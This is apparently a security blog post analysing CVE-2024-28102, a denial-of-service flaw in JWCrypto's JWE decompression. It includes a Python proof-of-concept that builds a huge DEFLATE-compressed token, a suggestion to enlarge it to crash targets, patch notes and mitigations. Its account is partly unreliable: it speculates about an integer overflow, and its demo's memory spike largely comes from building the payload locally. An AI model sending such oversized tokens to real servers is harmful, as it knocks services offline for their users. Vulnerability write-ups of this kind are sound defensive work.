CVE-2024-28102: JWCrypto DoS Vulnerability

Introduction

This blog dives into CVE-2024-28102, a Denial-of-Service (DoS) vulnerability recently discovered in JWCrypto, a popular library for JSON Web Encryption (JWE). We'll dissect the exploit vector, proof of concept exploit, potential impact, and mitigation strategies for security professionals.

Vulnerability Details

  • CVE ID: CVE-2024-28102

  • Affected Products: JWCrypto versions before 1.5.6

  • Vulnerability Type: Integer Overflow (Potentially - subject to confirmation)

Technical Breakdown

  • Vulnerability Description: It's believed an integer overflow vulnerability exists within JWCrypto's decompression logic when handling JWE tokens with the "zip" parameter set to "DEF" (DEflate) compression. During decompression, a crafted JWE token containing a payload with an abnormally high compression ratio can lead to an uncontrolled allocation of memory on the server-side. This excessive memory consumption can exhaust system resources, causing a DoS condition and potentially crashing the application.

  • Exploit Vector: An attacker can craft a malicious JWE token with a payload compressed using a high compression ratio. When the vulnerable JWCrypto library attempts to decompress this token on the server, the integer overflow likely occurs, leading to a vast memory allocation that cripples the system.

  • Potential Impact: A successful exploit can render the affected server unavailable to legitimate users, potentially disrupting critical services. Additionally, the server crash might lead to data loss or corruption in extreme scenarios.

Exploit Code for Proof of Concept

We can use the following script for proof of concept with JWCrypto==1.5.5 installed already (we can install it by running pip install JWCrypto==1.5.5):

import time
from jwcrypto import jwk, jwe

# Function to process the JWE token
def decrypt_jwe(token, key):
    try:
        jwe_instance = jwe.JWE()
        jwe_instance.deserialize(token, key=key)
        decrypted_payload = jwe_instance.payload
        print(f"Decrypted Payload Length: {len(decrypted_payload)}")
        return decrypted_payload
    except Exception as e:
        print(f"Error during decryption: {e}")
        return None

# Create a large payload of 10 billion 'A' characters for compression testing
large_payload = 'A' * 10000000000

# Generate a new encryption key
encryption_key = jwk.JWK.generate(kty='oct', size=256)

# Initialize the JWE object with the large payload
jwe_object = jwe.JWE(large_payload.encode('utf-8'),
                     protected={'alg': 'A256KW', 'enc': 'A256CBC-HS512', 'zip': 'DEF'},
                     recipient=encryption_key)

# Serialize the JWE object into a compact format
compact_jwe_token = jwe_object.serialize(compact=True)

# Print the length of the compact JWE token
print(f"Compact JWE Token Length: {len(compact_jwe_token)}")

# Simulate processing the token to test decryption
print("Simulating decryption...")
start_time = time.time()
decrypt_jwe(compact_jwe_token, encryption_key)
end_time = time.time()
print(f"Time taken for decryption: {end_time - start_time} seconds")

The above code snippet demonstrates CVE-2024-28102, let's break it down:

  • Imports: It first imports necessary libraries: time for measuring decryption time, jwk for generating keys, and jwe for working with JSON Web Encryption.

  • decrypt_jwe Function: This function takes a JWE token and a key as input and attempts to decrypt the token. It uses the jwe.JWE() class to deserialize the token and extract the payload. If successful, it prints the length of the decrypted payload and returns it. Any errors during decryption are caught and displayed.

  • Large Payload Creation: A massive payload consisting of 10 billion 'A' characters is generated for testing purposes. This payload is then encoded in UTF-8 format.

  • Encryption Key Generation: A new encryption key is created using the jwk.JWK.generate function with key type (kty) set to "oct" (Octet) and a size of 256 bits.

  • JWE Object Initialization: A jwe.JWE object is created using the large payload, a dictionary containing encryption details (alg - algorithm, enc - encryption method, zip - compression), and the generated encryption key (recipient). The zip parameter is set to "DEF", indicating DEflate compression.

  • JWE Token Serialization: The JWE object is serialized into a compact format using the serialize method with the compact argument set to True. This creates the JWE token ready for transmission.

  • Token Length Display: The length of the compact JWE token is printed.

  • Decryption Simulation: The code simulates decrypting the token by calling the decrypt_jwe function with the generated token and key. The decryption time is measured using time.time() before and after the function call.

  • Vulnerability Demonstration: The large payload with high compression ("DEF") creates the vulnerability scenario. When a vulnerable JWCrypto version attempts to decompress this token during decryption, an integer overflow might occur due to improper handling of the compressed data size. This overflow leads to a massive memory allocation, causing following  issues on the server:

    • Slow Decryption: The decrypt_jwe function might take an abnormally long time due to the excessive memory usage during decompression.

    • Potential Crash: In extreme cases, the server might run out of memory entirely, leading to a crash and potential data loss.

This proof of concept exploit script showcases how an attacker could exploit a vulnerable JWCrypto version by crafting a JWE token with a large payload and high compression. 

Let’s get hands on and perform this in our local environment to visualize the exploit. When I’m running the above exploit script, it is causing the expected memory hike on my system:

I can confirm this is coming because of the python script that we have it running by going to the processes tab:

We can make the attack more aggressive by simply tweaking the payload size in our exploit script and make it consume the max memory supported by the target system to potentially crash it.

Patch Diff Analysis

This CVE was patched in the following commit which include following changes to prevent this exploit:

  • Introduction of default_max_compressed_size: The patch introduces a new configuration variable named default_max_compressed_size. This variable defines the maximum allowable size for decompressed data.

  • Data Size Check: The patched version incorporates a check before decompression. If the compressed data size surpasses the default_max_compressed_size limit, an InvalidJWEData exception is thrown, terminating the decompression process and preventing a DoS scenario.

Mitigation Strategies

  • Update to JWCrypto 1.5.6 or Later: The primary mitigation strategy involves upgrading JWCrypto to version 1.5.6 or later, which addresses CVE-2024-28102.

  • Input Validation (if possible): If immediate patching is not feasible, consider implementing input validation on the server-side to check for JWE tokens with suspicious compression ratios before processing. This might be a temporary measure until a permanent patch is applied.

  • Resource Monitoring: Monitor server resource utilization, particularly memory usage. Anomalies in memory consumption, especially sudden spikes, could indicate an ongoing exploit attempt.

Conclusion

CVE-2024-28102 highlights the importance of timely library updates and proper input validation practices. By understanding the technical aspects of this vulnerability, security professionals can safeguard their JWCrypto deployments and ensure application uptime. Remember, staying informed about emerging threats and applying security patches promptly are crucial for maintaining a robust security posture.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-28102 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
2024-07-21
James McGill
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
2024-06-13
James McGill
A Deep Dive into CVE-2024-37032 (Ollama RCE Vulnerability)
A Deep Dive into CVE-2024-37032 (Ollama RCE Vulnerability)
2024-06-30
James McGill
CVE-2024-38355: Technical Analysis of Unhandled Exception in Socket.IO
CVE-2024-38355: Technical Analysis of Unhandled Exception in Socket.IO
2024-06-23
James McGill
CVE-2024-27348: Dissecting the RCE Vulnerability in Apache HugeGraph Server
CVE-2024-27348: Dissecting the RCE Vulnerability in Apache HugeGraph Server
2024-06-16
James McGill
Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
2024-06-16
James McGill